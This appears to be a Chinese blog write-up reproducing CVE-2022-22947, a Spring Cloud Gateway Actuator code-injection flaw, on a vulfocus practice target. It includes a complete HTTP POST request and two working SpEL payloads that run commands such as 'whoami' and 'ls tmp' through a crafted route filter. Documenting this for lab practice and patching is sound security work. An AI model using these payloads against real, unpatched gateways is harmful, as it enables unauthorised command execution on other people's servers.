Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)

参考:

https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response
https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

漏洞描述

  使用Spring Cloud Gateway的应用程序在Actuator端点在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求。
  当攻击者可以访问actuator API时,就可以利用该漏洞执行任意命令。

影响版本

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

复现

  1. 首先访问vulfocus中的靶场。

  2.  抓包,修改GET请求的参数

   说明actuator这个端口是开启的。

   3. 查看/actuator/gateway/routes/

   返回的路由信息,意思是当访问index时,路由到http://example.com:80

   访问test时,路由到http://test.com:80

  4. 利用actuator在网关中可以创建和删除路由。

   首先创建路由。注意是POST请求,

   Content-Type: application/json这里要修改为json。请求体中的内容是创建test3路由,让他去执行我们的whoami命令,这里我们可以修改为其他命令。
复制代码
POST /actuator/gateway/routes/test3 HTTP/1.1
Host: 150.158.155.71:38031
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 431

{
    "id": "test3",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
                "name": "cmd"
            }
        }
    ],
    "uri": "http://example.com:80",
    "order": 0
}
复制代码

   5. 刷新路由。

   6. 访问我们创建的路由信息。

   7. 删除自己创建的路由,用DELETE请求。

   8. 刷新一下,之后就发现已经被删除了。

 获取flag

  前面的步骤一样,只是payload改变了。

复制代码
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result=",
      "value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('ls', 'tmp').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}"
    }
  }],
   "uri": "http://test.com"
}
复制代码

posted @   三亿人  阅读(3283)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· AI与.NET技术实操系列(六):基于图像分类模型对图像进行分类
点击右上角即可分享
微信分享提示